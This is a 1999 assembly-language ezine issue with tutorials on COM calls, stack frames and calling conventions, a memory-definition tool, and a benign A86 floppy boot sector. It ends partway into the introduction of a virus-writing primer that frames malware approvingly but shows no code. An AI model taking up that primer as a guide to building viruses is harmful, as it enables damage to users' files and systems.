Copy Link
Add to Bookmark
Report
Assembly Programming Journal Issue 04
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::. Apr-June 99
:::\_____\::::::::::. Issue 4
::::::::::::::::::::::.........................................................
A S S E M B L Y P R O G R A M M I N G J O U R N A L
http://asmjournal.freeservers.com
asmjournal@mailcity.com
T A B L E O F C O N T E N T S
----------------------------------------------------------------------
Introduction...................................................mammon_
"Using COM in Assembly Language"..........................Lord.Lucifer
"Stack Frames and High-Level Calls"............................mammon_
"Define Your Memory".......................................Alan Baylis
"Writing a Boot Sector in A86"...........................Jan Verhoeven
"A Basic Virus Writing Primer"...................................Chili
Column: Win32 Assembly Programming
"Mouse Input....".........................................Iczelion
"Menus"...................................................Iczelion
Column: The C standard library in Assembly
"C string functions:_strtok"................................Xbios2
Column: The Unix World
"Using Menus in Xt"........................................mammon_
Column: Assembly Language Snippets
"Triple XOR".........................................Jan Verhoeven
"Trailing Calls".....................................Jan Verhoeven
Column: Issue Solution
"Fire Demo"....................................................iCE
----------------------------------------------------------------------
+++++++++++++++++++++Issue Challenge+++++++++++++++++++
Write a "Fire Demo"-style program in less than 100 bytes
----------------------------------------------------------------------
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::..............................................INTRODUCTION
by mammon_
In the last few months I have come across a number of links to APJ, and have
received the proverbial ton of email regarding it. Strangely enough, the
majority of these tend to agree that the one problem with the journal is its
infrequent --if not irregular-- publication. If that is the only complaint so
far, I think I can cope with it ;)
This issue is, naturally, very late due to what could be called "real world"
[lit., "that which does not go away when a power outtage kills your PC"]
considerations; however the articles by weight alone should make up for some
of this.
The largest of the bunch is undoubtedly the virus writing tutorial by Chili,
who may have beat my previous record for article length: a very thorough work,
worth reading just to help protect against virii, if not to write them. This
is accompanied by Jan's discussion of boot sector programming...a suitable
companion article, I believe.
High-level coders will undoubtedly be interested in Lord Lucifer's article on
COM programming in assembly; it seems that high-level areas such as COM,
DirectDraw, and Winsock coding are starting to receive a fair degree of
attention from the assembly language world, judging from the tutorials I have
been coming across.
Xbios2 has continued his excellent C stdlib work, and Icezlion has contributed
two more of his now-legendary Win32 asm tutorials; I of course have kept up
the Unix vanguard with yet another Xt article.
This month's challenge was contributed by iCE, and had a .text-size I could
not readily beat.
A few brief notes concerning the web page: I have thrown together a basic
collection of assembly language links at
http://asmjournal.freeservers.com/lynx.html
Submissions for this links page are welcome. I have also been getting a few
emails to the APJ inbox asking or offering help with assembly language; since
I check the inbox fortnightly at best, I have added a "classified ads" page to
the APJ website at
http://www.guestbook4free.com/en/28806/entries/
which is essentially a guestbook where people can post contact info, projects
they need help with, etc ... more or less a one-way bulletin board like, well,
like classified ads are.
That should just about wrap things up. Enjoy the issue!
_m
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
Using COM in Assembly Language
by Lord Lucifer
This article will discuss how to use COM interfaces in your assembly language
programs. It will not discuss what COM is and how it is used, but rather how
it can be used when programming in assembler. It will discuss only how to
use existing interfaces, and not how to actually implement new ones; this will
be shown in a future atricle.
About COM
------------------------------------------------------------------------------
Here is a brief introduction to the basics behind COM.
A COM object is one in which access to an object's data is achieved
exclusively through one or more sets of related functions. These function
sets are called interfaces, and the functions of an interface are called
methods. COM requires that the only way to gain access to the methods of an
interface is through a pointer to the interface.
An interface is actually a contract that consists of a group of related
function prototypes whose usage is defined but whose implementation
is not. An interface definition specifies the interface's member functions,
called methods, their return types, the number and types of their parameters,
and what they must do. There is no implementation associated with an
interface. An interface implementation is the code a programmer supplies to
carry out the actions specified in an interface definition.
An instance of an interface implementation is actually a pointer to an array
of pointers to methods (a function table that refers to an implementation of
all of the methods specified in the interface). Any code that has a pointer
through which it can access the array can call the methods in that interface.
Using a COM object assembly language
-------------------------------------------------------------------------------
Access to a COM object occurs through a pointer. This pointer points to a
table of function pointers in memory, called a virtual function table, or
vtable in short. This vtable contains the addresses of each of the objects
methods. To call a method, you indirectly call it through this pointer table.
Here is an example of a C++ interface, and how its methods are called:
interface IInterface
{
HRESULT QueryInterface( REFIID iid, void ** ppvObject );
ULONG AddRef();
ULONG Release();
Function1( INT param1, INT param2);
Function2( INT param1 );
}
// calling the Function1 method
pObject->Function1( 0, 0);
Now here is how the same functionality can be implemented using assembly
language:
; defining the interface
; each of these values are offsets in the vtable
QueryInterface equ 0h
AddRef equ 4h
Release equ 8h
Function1 equ 0Ch
Function2 equ 10h
; calling the Function1 method in asm
; the method is called by obtaining the address of the objects
; vtable and then calling the function addressed by the proper
; offset in the table
push param2
push param1
mov eax, pObject
push eax
mov eax, [eax]
call [eax + Function1]
You can see this is somewhat different than calling a function normally.
Here, pObject points to the Interface's vTable. At the Function1(0Ch) offset
in this table is a pointer to the actual function we wish to call.
Using HRESULT's
-------------------------------------------------------------------------------
The return value of OLE APIs and methods is an HRESULT. This is not a handle
to anything, but is merely a 32-bit value with several fields encoded in the
value. The parts of an HRESULT are shown below.
HRESULTs are 32 bit values layed out as follows:
3 3 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1
1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0
+-+-+-+-+-+---------------------+-------------------------------+
|S|R|C|N|r| Facility | Code |
+-+-+-+-+-+---------------------+-------------------------------+
S - Severity Bit
Used to indicate success or failure
0 - Success
1 - Fail
By noting that this bit is actually the sign bit of the 32-bit value,
checking success/failure is simply performed by checking its sign:
call ComFunction ; call the function
test eax,eax ; now check its return value
js error ; jump if signed (meaning error returned)
; success, so continue
R - reserved portion of the facility code, corresponds to NT's
second severity bit.
C - reserved portion of the facility code, corresponds to NT's
C field.
N - reserved portion of the facility code. Used to indicate a
mapped NT status value.
r - reserved portion of the facility code. Reserved for internal
use. Used to indicate HRESULT values that are not status
values, but are instead message ids for display strings.
Facility - is the facility code
FACILITY_WINDOWS = 8
FACILITY_STORAGE = 3
FACILITY_RPC = 1
FACILITY_WIN32 = 7
FACILITY_CONTROL = 10
FACILITY_NULL = 0
FACILITY_ITF = 4
FACILITY_DISPATCH = 2
To retreive the Facility,
call ComFunction ; call the function
shr eax, 16 ; shift the HRESULT to the right by 16 bits
and eax, 1FFFh ; mask the bits, so only the facility remains
; eax now contains the HRESULT's Facility code
Code - is the facility's status code
To get the Facility's status code,
call ComFunction ; call the function
and eax, 0000FFFFh ; mask out the upper 16 bits
; eax now contains the HRESULT's Facility's status code
Using COM with MASM
------------------------------------------------------------------------------
If you use MASM to assemble your programs, you can use some of its
capabilities to make calling COM functions very easy. Using invoke, you can
make COM calls look almost as clean as regular calls, plus you can add type
checking to each function.
Defining the interface:
IInterface_Function1Proto typedef proto :DWORD
IInterface_Function2Proto typedef proto :DWORD, :DWORD
IInterface_Function1 typedef ptr IInterface_Function1Proto
IInterface_Function2 typedef ptr IInterface_Function2Proto
IInterface struct DWORD
QueryInterface IUnknown_QueryInterface ?
AddRef IUnknown_AddRef ?
Release IUnknown_Release ?
Function1 IInterface_Function1 ?
Function2 Interface_Function2 ?
IInterface ends
Using the interface to call COM functions:
mov eax, pObject
mov eax, [eax]
invoke (IInterface [eax]).Function1, 0, 0
As you can see, the syntax may seem a bit strange, but it allows for a simple
method using the function name itself instead of offsets, as well as type
checking.
A Sample program written using COM
------------------------------------------------------------------------------
Here is some sample source code which uses COM written in straight assembly
language, so it should be compatable with any assembler you prefer with only
minor changes necessary.
This program uses the Windows Shell Interfaces to show the contents of the
Desktop folder in a window. The program is not complete, but shows how the
COM library is initialized, de-initialized, and used. I also shows how the
shell library is used to get folders and obcets, and how to perform
actions on them.
..386
..model flat, stdcall
include windows.inc ; include the standard windows header
include shlobj.inc ; this include file contains the shell namespace
; definitions and constants
;----------------------------------------------------------
..data
wMsg MSG <?>
g_hInstance dd ?
g_pShellMalloc dd ?
pshf dd ? ; shell folder object
peidl dd ? ; enum id list object
lvi LV_ITEM <?>
iCount dd ?
strret STRRET <?>
shfi SHFILEINFO <?>
...
;----------------------------------------------------------
..code
; Entry Point
start:
push 0h
call GetModuleHandle
mov g_hInstance,eax
call InitCommonControls
; initialize the Component Object Model(COM) library
; this function must be called before any COM functions are called
push 0
call CoInitialize
test eax,eax ; error when the MSB = 1
; (MSB = the sign bit)
js exit ; js = jump if signed
; Get the Shells IMalloc object pointer, and save it to a global variable
push offset g_pShellMalloc
call SHGetMalloc
cmp eax, E_FAIL
jz shutdown
; here we would set up the windows, list view, message loop, and so on....
; we would also call the FillListView procedure...
; ....
; Cleanup
; Release IMalloc Object pointer
mov eax, g_pShellMalloc
push eax
mov eax, [eax]
call [eax + Release] ; g_pShellMalloc->Release();
shutdown:
; close the COM library
call CoUninitialize
exit:
push wMsg.wParam
call ExitProcess
; Program Terminates Here
;----------------------------------------------------------
FillListView proc
; get the desktop shell folder, saved to pshf
push offset pshf
call SHGetDesktopFolder
; get the objects of the desktop folder using the EnumObjects method of
; the desktop's shell folder object
push offset peidl
push SHCONTF_NONFOLDERS
push 0
mov eax, pshf
push eax
mov eax, [eax]
call [eax + EnumObjects]
; now loop through the enum id list
idlist_loop:
; Get next id list item
push 0
push offset pidl
push 1
mov eax, peidl
push eax
mov eax, [eax]
call [eax + Next]
test eax,eax
jnz idlist_endloop
mov lvi.imask, LVIF_TEXT or LVIF_IMAGE
mov lvi.iItem,
; Get the item's name by using the GetDisplayNameOf method
push offset strret
push SHGDN_NORMAL
push offset pidl
mov eax, pshf
push eax
mov eax, [eax]
call [eax + GetDisplayNameOf]
; GetDisplayNameOf returns the name in 1 of 3 forms, so get the correct
; form and act accordingly
cmp strret.uType, STRRET_CSTR
je strret_cstr
cmp strret.uType, STRRET_OFFSET
je strret_offset
strret_olestr:
; here you could use WideCharToMultiByte to get the string,
; I have left it out because I am lazy
jmp strret_end
strret_cstr:
lea eax, strret.cStr
jmp strret_end
strret_offset:
mov eax, pidl
add eax, strret.uOffset
strret_end:
mov lvi.pszText, eax
; Get the items icon
push SHGFI_PIDL or SHGFI_SYSICONINDEX or SHGFI_SMALLICON or SHGFI_ICON
push sizeof SHFILEINFO
push offset shfi
push 0
push pidl
call SHGetFileInfo
mov eax, shfi.iIcon
mov lvi.iImage, eax
; now add item to the list
push offset lvi
push 0
push LVM_INSERTITEM
push hWndListView
call SendMessage
; repeat the loop
idlist_endloop:
; now free the enum id list
; Remember all allocated objects must be released...
mov eax, peidl
push eax
mov eax,[eax]
call [eax + Release]
; free the desktop shell folder object
mov eax, pshf
push eax
mov eax,[eax]
call [eax + Release]
ret
FillListView endp
END start
Conclusion
-------------------------------------------------------------------------------
Well, that is about it for using COM with assembly language. Hopefully, my
next article will go into how to define your own interfaces. As you can
see, using COM is not difficult at all, and with it you can add a very
powerful capability to your assembly language programs.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
Stack Frames and High-Level Calls
by mammon_
Last month I covered how to implement high-level calls in Nasm. Since then it
has come to my attention that many beginning programmers are unfamiliar with
calling conventions and the stack frame; to remedy this I have prepared a brief
discussion of these topics.
The CALL Instruction
--------------------
At its most basic, an assembly language call takes this for:
push [parameters]
call [address]
Some assemblers will require that the CALL statement take as an rgument only
addresses leading to external functions or addresses created with a macro or
directive such as PROC. However, as a quick glance through a debugger or a
passing familiarity with Nasm will demonstrate, the CALL instruction simply
jumps to an address [often a label in the source code] while pushing the
contents of EIP [containing the address of the instruction following the call]
onto the stack. The CALL instruction is therefore equivalent to the following
code:
push EIP
jmp [address]
The address that has been called will thefore have the stack set up as follows:
[Last Parameter Pushed]: DWORD
[Address of Caller] : DWORD
--- "Top" of Stack [esp] ---
At this point, anything pushed onto the stack will be on top of [that is, with a
lower memory address, since the stack "grows" downwards] the return address.
The Stack Frame
---------------
Note that the parameters to the call therefore cannot be POPed from the stack,
as this will destroy the saved return address and thus cause the application to
crash upon returning from the call [unless, of course, a chosen return address
is PUSHed onto the stack before returning from the call]. The logical way to
reference these parameters, then, would be as offsets from the stack pointer:
[parameter 2] : DWORD esp + 8
[parameter 1] : DWORD esp + 4
[Address of Caller]: DWORD esp
----- "Top" of Stack [esp] -----
In this example, "parameter 1" is the parameter pushed onto the stack last, and
"parameter 2" is the parameter pushed onto the stack before parameter 1, as
follows:
push [parameter 2]
push [parameter 1]
call [procedure]
The problem with referring to parameter as offsets from esp is that esp will
change whenever a value is PUSHed onto the stack during the routine. For this
reason, it is standard for routines which take parameters to set up a "stack
frame".
In a stack frame, the base pointer [ebp] is set equal to the stack pointer [esp]
at the start of the call; this provides a "base" address from which parameters
can be addressed as offsets. It is assumed that the caller had a stack frame
also; thus the value of ebp must be preserved in order to prevent causing damage
to the caller. The stack frame usually takes the following form:
push ebp
mov ebp, esp
... [actual code for the routine] ...
mov esp, ebp
pop ebp
This means that once the stack frame has been entered, the stack has the
following structure:
[parameter 2] : DWORD ebp + 12
[parameter 1] : DWORD ebp + 8
[Address of Caller]: DWORD ebp + 4
[Old Base Pointer] : DWORD ebp
----- Base Pointer [ebp] -----
----- "Top" of Stack [esp] -----
The use of the base pointer also allows space to be allocated on the stack for
local variables. This is done by simply subtracting bytes from esp; since esp is
restored when the stack frame is exitted, this space will automatically be
deallocated. The local variables are then referred to as *negative* offsets from
ebp; these may be EQUed to meaningful symbol names in the source code. A routine
that has 3 local DWORD variables would take the following form:
Var1 EQU [ebp-4]
Var2 EQU [ebp-8]
Var3 EQU [ebp-12] ;provide meaningful names for the variables
push ebp
mov ebp, esp
sub esp, 3*4 ;3 DWORDs at 4 BYTEs apiece
... [actual code for the routine] ...
mov esp, ebp
pop ebp
This routine would then have the following stack structure after the allocation
of the local variables:
[parameter 2] : DWORD ebp + 12
[parameter 1] : DWORD ebp + 8
[Address of Caller]: DWORD ebp + 4
[Old Base Pointer] : DWORD ebp
----- Base Pointer [ebp] -----
[Var1] : DWORD ebp - 4
[Var2] : DWORD ebp - 8
[Var3] : DWORD ebp - 12
----- "Top" of Stack [esp] -----
The stack frame has can also be used to provide a call trace, as it stores the
base pointer of [and thus a pointer to the caller of] the caller. Assume that a
program has the following flow of execution:
proc_1: push dword call1_p2
push dword call1_p1
call proc_2
________proc_2: push call2_p1
call proc_3
________________proc_3: push call3_p1
call proc_4
Upon creation of the stack frame in proc_4, the stack has the following
structure:
[call1_p2] : DWORD ebp + 36
[call1_p1] : DWORD ebp + 32
[Return Addr of Call1] : DWORD ebp + 28
[Old Base Pointer] : DWORD ebp + 24
---- Base Pointer of Call 1 ----
[call2_p1] : DWORD ebp + 20
[Return Addr of Call2] : DWORD ebp + 16
[Base Pointer of Call1]: DWORD ebp + 12
---- Base Pointer of Call 2 ----
[call3_p1] : DWORD ebp + 8
[Return Addr of Call3] : DWORD ebp + 4
[Base Pointer of Call2]: DWORD ebp
----- Base Pointer [ebp] -----
----- "Top" of Stack [esp] -----
As you can see, for each previous call the return address is [ebp+4], where ebp
is the address of the saved base pointer for the call previous to that one.
Thus, if one could traverse the history of stack frames as follows:
mov eax, ebp ; eax = address of previous ebp
mov ecx, 10 ; trace the last 10 calls
loop_start:
mov ebx, [eax+4] ; ebx = return address for call
call print_stack_trace
mov eax, [eax] ; step back one stack frame
loop loop_start
This is exceptionally useful for exception handling; the handling function will
be able to print out a stack history to aid debugging. This principle can also
be applied in conjunction with debugging code [for example, the Win32 debug API]
to create a utility which will trace the calls [in reality, the stack frames of
the calls] made by a target. Essentially, this would boil down to the following
logic:
1) Breakpoint on changes to EBP
2) On Break, get return address [ebp+4]
3) Get instruction prior to return address
4) Print or log the instruction
Note that this can be enhanced to resolves symbol names in the logged CALL
instruction, such that local or API address labels [e.g. GetWindowTextA] can be
logged rather than just the address itself.
The ENTER Instruction
---------------------
The ENTER instruction is used to create a stack frame with a single instruction;
it is equivalent to the code
push ebp
mov ebp, esp
The ENTER instruction takes a first parameter that specifes the number of bytes
to reserve for local variables; an optional second parameter gives the nesting
level [0-31] of the current stack frame in the overall program structure. This
is often used by high-level languages to save call trace information for error
handlers, as it specifies the number of additional [previous] stack frame pointers
to save on the stack.
The RET Instruction
-------------------
Any routine which is accessed by a CALL instruction must be terminated with a
return [RET] instruction. As one can see from the operation of the CALL
instruction, if you were to attempt to circumvent the RET instruction by JMPing
to the retrun address, the stack would still be corrupted. The RET statement is
roughly equivalent to the following code:
pop EIP
Note that the RET must take place after exiting the stack frame in order to
avoid corruption of the stack.
The LEAVE Instruction
---------------------
The LEAVE instruction is used to exit a stack frame created with the ENTER
instruction; it is equivalent to the code
mov esp, ebp
pop ebp
The LEAVE instruction takes no parameters and still requires a RET statement to
follow it.
High-level Language Calling Conventions
---------------------------------------
At this point one may wonder what has happened to the parameters pushed onto the
stack prior to the call. Are they still on the stack after the RET, or have they
been cleared? Since the parameters cannot be POPed from the stack while within
the call, they still are on the stack at the RET instruction.
At this point the programmer has two options. They can have the caller clean up
the stack by adding the number of bytes pushed to esp immediately after the
call:
push dword param2
push dword param1
call procedure
add esp, 2 * 4 ;2 DWORDs at 4 BYTEs apiece
Or they can clear the stack by passing to the RET instruction the number of
bytes that need to be cleared:
push dword param2
push dword param1
call procedure
...
procedure:
push ebp
mov ebp, esp
...
mov esp, ebp
pop ebp
ret 8 ;2 DWORDs at 4 BYTEs apiece
Which method is chosen is left up to the programmer; however, when writing a
library or API, one must make clear who is responsible for cleaning up the
stack. In addition, when interfacing with high-leve languages, one also has to
make clear which order the parameters are to be pushed in. For this reason there
are calling conventions for the high-level languages.
The C calling convention is used to interface with the C and C++ programming
languages; it is used in the standard C library and in Unix APIs. It pushes the
parameters from right to left, and does not clean up the stack upon return from
the call. A call to a C-style routine would look as follows:
;corresponds to the C code
;procedure(param1, param2)
push dword param2
push dword param1
call procedure
add esp, 8
A C-style routine would have the following structure:
push ebp
mov ebp, esp
...
mov esp, ebp
pop ebp
ret
The Pascal calling convention is used interface with the Pascal, BASIC, and
Fortran programming languages; it is used in the Win16 API. It pushes the parameters
from left to right, and cleans up the stack upon return from the call; as such
it is the opposite of the C convention. A call to a Pascal routine would look as
follows:
;corresponds to the C code
;procedure(param1, param2)
push dword param1
push dword param2
call procedure
A Pascal-style routine would have the following structure:
push ebp
mov ebp, esp
...
mov esp, ebp
pop ebp
ret 8 ;clear the 2 dword parameters
The Stdcall ["standard call" or __stdcall] calling convention is a combination
of the C and Pascal conventions; it is used in the Win32 API. It pushes the
parameters from right to left, and cleans the stack upon return from the call. A
call to a Stdcall routine would look as follows:
;corresponds to the C code
;procedure(param1, param2)
push dword param2
push dword param1
call procedure
A Stdcall-style routine would have the following structure:
push ebp
mov ebp, esp
...
mov esp, ebp
pop ebp
ret 8
There is also a Register calling convention [also called "fastcall"] which uses
registers rather than the stack to pass parameters. The first parameter is
passed in eax, the second in EDX, and the third in EBX; subsequent parameters
are passed via the stack. A call to a Register routine would look as follows:
;corresponds to the C code
;procedure(param1, param2, param3)
mov eax, param1
mov edx, param2
mov ebx, param3
call procedure
Note that there is no defined standard method of clearing the stack ro the
Register convention; however most implemntations clear the stack in the Pascal
style.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
Define Your Memory
by Alan Baylis
[I am going to preface this article with a brief note, since it is not
covering assembly language per se, but rather a utility that will be of use
to asm coders. The author sums it up well in his original email to me:
"Define is a new type of assembler/disassembler that does not use source
code. The program reads the byte values in memory and checks a library to
find a definition that describes the byte values it reads. The library can
be added to and is used as a permanent macro list to write instuctions,
functions, etc to memory. Most assemblers also use standard 3 character
mnemonics to descibe the instruction set, however, with Define you can
rename the instructions and your own macros to anything and up to 250
characters."
Sounds pretty promising.
_m ]
For the x86 series of processor I have been working on a new type of assembler and have
written a program called Define. The program could be called a sketch of what a future
version might be like. The program is fully workable but suffers from a few limitations,
the first is that it is written in QBASIC which may be a blow to devoted machine coders,
and the second is that it can only comfortably use about three hundred definitions
(Definitions are like a library of machine code macros and I'll discuss them more fully
later) and a third limitation, not to its functionality, is that the program doesn't have
a quick mouse and menu driven interface, but I'm working on it.
I liked the idea of macros and saw the neccessity for using them so that I and others
don't have to "reinvent the wheel" as it has been put, but I wanted a way to see the
machine code instructions and the byte values that made up the macro. This can't be done
through using source code as the finished code is generated at the discretion of the
compilers authors and requires a debugger to verify its content.
To make what was originally intended to be a debugger but without the source code I
decided to make a program that could read memory and interpret the byte values it finds
into their mnemonic equivalents or better (much like a debugger), so that while reading
memory, if the program found the byte value 205 followed by the value 5 it would display
"INT 5". To do this I needed what I termed a 'definiton' which included the byte values
that make up an instruction or small macro and included a description or name for the
function they perform.
Unlike what I had done with a previous assembler I decided to put the definitions in a
separate file rather than include them as data within the main program, this allowed
for the addition or removal of future definitions. I then quickly realised that since
these definitions contained the byte values of an instruction, then they could also be
used to write the bytes into memory. I added functions to save and load programs as
well as functions to manipulate the definition file and the program was underway.
I found while writing the definitions for the instruction set that it would be good
(and necessary) if the program could read an instruction even if one of the bytes is
unknown or variable; I decided to call these bytes undefined bytes, so that if the
program found the number 205 it would display something like "Interrupt call" regard-
less of what number followed.
While reading memory I also wanted a way to exclude data areas from being interpreted
into definitions, so I added a new definition type called addresses which contain the
address of the first and last bytes of a data area and a name to describe the data area.
If these are turned on in the program then they are used instead of the normal definitions
when reading that part of memory.
To then take Define closer to being an assembler rather than a debugger I also included
labels that label memory addresses and the destination of jump and branch instructions.
I envision that a future version of Define written in machine code or a similar program
will have a pop up list of definitons and use a point and click method of writing the
code as opposed to the current method of scrolling through them from a different page.
The future version will also need to be able to handle thousands of definitions as
opposed to the few hundred it can use at a time now, in order to accommodate situations
such as the following:
To call the interrupt 21h,9 which prints a string it is necessary to put the function
number 9 in AH and the address of the string in the registers DS:DX and then call the
interrupt,
MOV AH,9
MOV DX,address
INT 21h
however it is also valid to put the number 9 in AH after the address of the string has
been put in DS:DX,
MOV DX,address
MOV AH,9
INT 21h
To make a definition for this interrupt at least two definitions will need to be made
and therefore a larger definition file. This also doesn't account for the situation in
which the number 9 may have been filled three instructions earlier and is assumed to be
correct at the time when the interrupt is called, in this case only the definitions for
the instructions will be seen and not a definition for the interrupt.
One of the best aspects to Define in my book is that the memory can be viewed according
to a persons level of understanding (or will be as the definitions are written,) for
example the program is able to only show definitions of a certain level and no other. I
have chosen to represent the level of a definition by its color, I have used blue (1)
for the lowest level which are the instruction set definitions and then green (2) for
the next level which are the DOS, BIOS, etc definitions and then magenta (3) for the
next level which may be definitions to clear the screen and print the date combined and
so on, so that a person who knows little about machine code may set the maximum definition
color to red (4) and still be able to write a program using Define. The advantage for
those who know machine code is that they need not be restricted to only a high level
definition, by turning the observance of the color off they can press the letter B when
viewing a high level definition and see the lower level definitions that make up the
higher one. By repeatedly pressing B they can view the program as level 1 (blue) or even
as the byte values themselves.
The most radical departure from most assemblers is that when writing a program the program
is composed in memory, the byte values of the definitions are written directly to an
unused or reserved area of memory where they can be further altered directly while
reading memory. This could also be said to be the most dangerous method as it can easily
lead to the accidental writing of other areas of memory, while this is true I have also
found a benefit, if Define is stopped and then restarted the program being written will
still be in memory without having been saved (depending on where in memory the program is
being written.)
The maker of a violin, while demonstrating it, must have said at one time or another "A
good violinist could really show you how to play it", I too like the maker of a violin am
sure there are better definition writers than myself. To become a high level language the
high level definitions need to be written and I ask any person who has a passion for writing
hand written code to send me a definition or two to include in the definition file.
You can download Define from my homepage at
http://members.net-tech.com.au/alaneb/default.htm
and there is a step by step guide to using the program in the zip file called manual.doc.
Please send any definitions or reponse to Alan at alien1_3@excite.com
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
Writing a Boot Sector in A86
by Jan Verhoeven
I have been coding for FreeDOS some time, but that is a C project and I
rather hate C. It is so clumsy. That's also why I always code in A86
assembly language. The "No Red Tape" assembler that makes life a lot
easier for programmers.
A86 is good. The debugger (D86) could be better, but not too much. I
registered my version and I want to encourage everyone to follow my
lead. The software is good enough to pay for it. And it ensures proper
development of the software. If you can spare 20 bucks a month for the
ISP, you should also spend this on quality software.
During the last two years I have been submiutting bugs to Isaacson and
all of them have been fixed in the latest version (4.03).
Besides A86 being the best assembler around, it has some idiosyncracies
to which some people need to get used to. Plus my personal preferences,
which might add to that...
- When I refer to a memory location I use square brackets.
- I use single quotes for texts
- I use most of the A86 features.
Some of the A86 features are:
- very powerful macro language
- numbers starting with a ZERO are ALWAYS hex, no matter how they end
- easy IF statements to reduce nonsense labelnames
- local labels, like below: only two local labels.
I started out on the Z-8000, back in 1981, switched to the Z-80, Z-8,
8086, PIC 16Cxx, some 8051 (Barffff), some 68K (yummie yummie). Mainly
in ASM and else in Modula-2. I have some really cool and useful routines
lying around for DOS. And I'm gonna share them with the world.
The following code is a bootsector which can be used for noon-bootable
disks. In this case for a 1.44 Mb floppy disk. You could use it to make
a commercial out of every non-bootable disk.
First the code:
----- Code file -------------------------------------------------
name flopnb
title Floppy disk boot sector, non-bootable, 1.44 Mb
page 80, 120
; version 1.0 : It works : OK 12-12-1998
lf = 10
cr = 13
org 0
jmp short main ; this is critical!
nop ; and this too!
; ----------------------
OEMname db 'StupiDOS'
BpS dw 512 ; bytes per sector
SpA db 1 ; sectors per allocation unit (=cluster)
ResSect dw 1 ; reserved sectors, starting from sector 0
NrFats db 2 ; number of FAT's on this disk
FiR dw 224 ; number of entries in ROOT directory
Total dw 2880 ; number of sectors per disk
ToM db 0F0 ; Type of Media
SpF dw 9 ; Sectors per Fat
SpT dw 18 ; sectors per Track
Heads dw 2 ; number of heads
Hidden dw 0, 0 ; Hidden sectors
GrandTot dd 0 ; total for disks over 32 Mb
IntId db 0, 0
BootSign db 029 ; extended boot signature
VolumeID dd 0566E614A ; serial number ...
DiskLabl db 'DOS is MINE' ; volume label
FATtype db 'FAT-12 ' ; FAT type
db 'VeRsIoN=1.0', 0 ; for version control only
; ----------------------
L1: push si ; stack up return address
ret ; and jump to it
print: pop si ; this is the first character
mov bx, 0 ; video page 0
L0: lodsb ; get token
cmp al, 0 ; end of string?
je L1 ; if so, exit
mov ah, 0E ; else print it
int 010 ; via TTY mode
jmp L0 ; until done
; ----------------------
main: cld ; init direction flag
cli ; take care of 1 faulty batch of 88's in 1980
mov ax, 07C0 ; this is the segmentvalue at start
mov ds, ax ; store it in DS, ES
mov es, ax
mov ax, 0 ; clear ax ...
mov ss, ax ; ... to prime the SS register
mov sp, 07C00 ; set stackpointer
sti ; OK, interrupts may come again
call print ; show that message
db cr
db 'This is not a bootable floppy. '
db 'Please strike any key to reboot.', cr, lf
db 'This floppy disk is formatted by FreeDOS', cr, lf, lf
db 'Please visit us at www.freedos.org', cr, lf, 0
L0: mov ah, 1 ; wait for keypress by ...
int 016 ; ... interrogating keyboard
jz L0 ; if no key pressed, loop back
mov ax, 0 ; else address system variables
mov es, ax ; in order to ...
es mov w [0472], 01234 ; signal: NO POST and go on ...
jmp 0FFFF:0000 ; with the next reboot
org 01FE ; look for the dotted line and ...
db 055, 0AA ; ... don't forget to sign!
------------------------------------------------- Code file -----
The first three lines are straightforward: name, title and page. Not
much to tell about that. Then some version info for the programmer, some
equates and the ORG statement.
If no ORG is supplied, A86 will assume it is ORG 0100. I ordered an ORG 0,
which means several things:
- start assembly at address 0
- the output file will be called *.BIN
Bootsectors must start with some particular bytes. Therefore the first
three bytes need to be either a short jump, a variable offset plus a
NOP. Or a (long) jump without a NOP.
At offset 03 of the bootsector starts the DPB (Disk Parameter Block)
which tells the OS what kind of disk this is. It starts off with an OEM
name. Please put ASCII in there, or virus scanners might trip on it with
a "Bloodhound warning".
After the description of the geometry of this disk, I included an
extended boot signature, since we have ample room left. It contains
Volume ID, Disk Label, and FAT-type strings.
The PRINT subroutine is a nice one. It will print the ASCIIZ string that
follows it. This is quite a handy routine since you can simply change
messages without having to worry about the address and length of the
actual message.
Print is called like this:
call print
db 'Hello World', cr, lf, 0
...
Print takes the "return address" off the stack. This of course is no
return address but the address of the message. What follows is easy:
- get next character
- IF (non-zero) print character ELSE leave loop ENDIF
- the current si pointer is the actual return address... So we push it
- and return to caller.
Perhaps a jmp si could be possible too, but I like clear code, in most
cases. If you need obfuscated code, switch to C. :)
The actual program is very simple. It just sets up a stack and the
segment registers, and then prints that it will do nothing. Gee, what a
life...
After the message we wait for a key and next signal:
- fast reboot
- jump to the reboot vector
Whatever there will be between end of code and offset 01FE is not
relevant (it could be your ad) but the last two bytes of the boot sector
must be a valid boot signature.
That's it. With this code you can make your own custom non-bootsector.
I hope this software has also shown that linking and assuming are
supported by A86, but certainly not necessary. Also, this software does
not rely on any HLL calls. It's just assembly language as it should be.
I want to remark that this software is Open Source, according to the rules
of the GNU GPL. Make sure you understand these rules before embedding this
routine in your own software.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::...........................................FEATURE.ARTICLE
A Basic Virus Writing Primer
by Chili
What horror must the ignorant victim undergo as it becomes aware of a being
that lives inside its own body, growing ever stronger, reproducing itself until
its host, unable to bear more finally colapses and dies an horrible death. What
panic it must feel, knowing nothing can be done in time to avoid such a
terrible fate. A predator so tiny, that unsuspectedly it spreads from one host
to another, by so rapidly infecting millions. An organism, so utterly
resourceful and small, that it stays most of the time undetectable, breeding in
the shadows.
Computer viruses aren't much different from their biological counterpart, but
instead of infecting cells they infect files and boot sectors. In this article
I'll try to explain the basics of file viruses, more specifically runtime (aka
